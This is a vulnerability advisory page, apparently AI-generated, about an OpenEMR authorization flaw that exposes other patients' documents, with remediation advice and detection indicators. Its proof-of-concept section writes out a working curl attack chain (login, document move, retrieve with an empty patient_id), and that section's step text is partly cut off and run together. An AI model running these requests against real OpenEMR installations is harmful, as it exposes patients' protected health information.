
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-124486 is a missing authorization vulnerability in OpenEMR's classic document controller that allows low-privilege authenticated users to recategorize other patients' documents and exfiltrate protected health information (PHI). It affects all OpenEMR versions before 8.3.0 and was published on November 8, 2026, with the security advisory (GHSA-89j2-7cg2-mm93) originally published by bradymiller on August 18, 2026. The vulnerability carries a CVSS v3.1 base score of 8.8 (High) and a CVSS v4.0 base score of 8.7 (High) (GitHub Advisory, OpenEMR Advisory).
The root cause is CWE-862 (Missing Authorization): the classic controller's CONTROLLER_ACL_MAP in Controller.class.php omits the document controller entirely, causing checkControllerAcl() to return immediately without enforcing any ACL gate on controller=document requests. The move_action_process() function in C_Document.class.php then executes an UPDATE categories_to_documents SQL statement without verifying source-document ownership, source patient context, or write authorization. A second flaw in retrieve_action() only enforces the document-to-patient binding when patient_id !== null; the dispatcher converts an empty patient_id= parameter to null, bypassing the binding check entirely. Together, these two flaws allow an attacker to first move a victim's document into a patients|demo category (which the attacker can read) and then retrieve it by supplying an empty patient_id (OpenEMR Advisory).
A low-privilege authenticated staff account can silently reclassify any patient's document into a demo-readable category and download the file bytes, resulting in cross-patient PHI disclosure and persistent chart tampering. The category change is durable — it persists in the database even after the attacker's session ends — meaning the document's visibility is permanently altered for all users. Because OpenEMR is a healthcare records platform, successful exploitation directly threatens HIPAA-regulated patient data including medical records, lab reports, and patient identification documents (OpenEMR Advisory, GitHub Advisory).
A proof-of-concept exploit is publicly available in the OpenEMR security advisory (GHSA-89j2-7cg2-mm93), documented as a step-by-step curl-based attack chain (OpenEMR Advisory). The PoC was validated against commit acdd99694b45e1f384060e10ca1af1b0de629069 and requires only a valid low-privilege staff account and knowledge of a target document_id. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.246–0.379%, placing it in the 33rd percentile for exploitation probability (GitHub Advisory).
patients|demo access but no patients|docs access)./interface/main/main_screen.php?auth=login&site=default with authUser and clearPass parameters, saving the returned session cookie jar:curl -k -sS -c cookies.txt -X POST 'https://<target>/interface/main/main_screen.php?auth=login&site=default' \
--data-urlencode 'authUser=accounting_demo' --data-urlencode 'clearPass=pass'document_id belonging to another patient (e.g., via the OpenEMR UI or by observing document IDs in normal workflow).controller.php invoking move_action_process() with new_category_id set to a patients|demo category (e.g., 5 for "Patient ID card") and the victim's document_id. Despite returning HTTP 403, the database row is updated:curl -k -sS -b cookies.txt -X POST \
'https://<target>/controller.php?controller=document&action=move&patient_id=0&document_id=4242&process=true' \
--data-urlencode 'new_category_id=5'patient_id= (empty) to bypass the document-to-patient binding check and download the file bytes:curl -k -sS -b cookies.txt \
'https://<target>/controller.php?controller=document&action=retrieve&patient_id=&document_id=4242&as_file=true'/controller.php?controller=document&action=move with process=true and a new_category_id pointing to a patients|demo category (e.g., 4, 5, or 10) from a user account that does not normally perform document management; HTTP GET requests to /controller.php?controller=document&action=retrieve with an empty patient_id= parameter.move requests immediately followed by HTTP 200 responses to retrieve requests for the same document_id from the same session; repeated access to controller.php with controller=document by low-privilege accounts.categories_to_documents table where a document's category_id shifts from a patients|docs category (e.g., category 1–3) to a patients|demo category (e.g., category 4, 5, or 10) without a corresponding administrative action in audit logs./sites/default/documents/<pid>/ directories belonging to patients other than those the accessing user is authorized to view (OpenEMR Advisory).Upgrade to OpenEMR 8.3.0 or later, which adds the document controller to CONTROLLER_ACL_MAP and enforces proper ownership checks in move_action_process() and retrieve_action() (OpenEMR Advisory, GitHub Advisory). If immediate patching is not possible, implement network-level access controls to restrict which authenticated roles can reach the controller.php?controller=document endpoints, and audit the categories_to_documents table for unexpected category changes. Additionally, review and restrict staff account permissions to limit exposure to accounts that genuinely require document access.
The vulnerability was reported by christos-cantina-security and published by OpenEMR maintainer bradymiller via GitHub Security Advisories on August 18, 2026. A Mastodon post from @thehackerwire noted the disclosure shortly after publication. No major vendor statements beyond the official advisory or significant analyst commentary have been identified at this time (OpenEMR Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."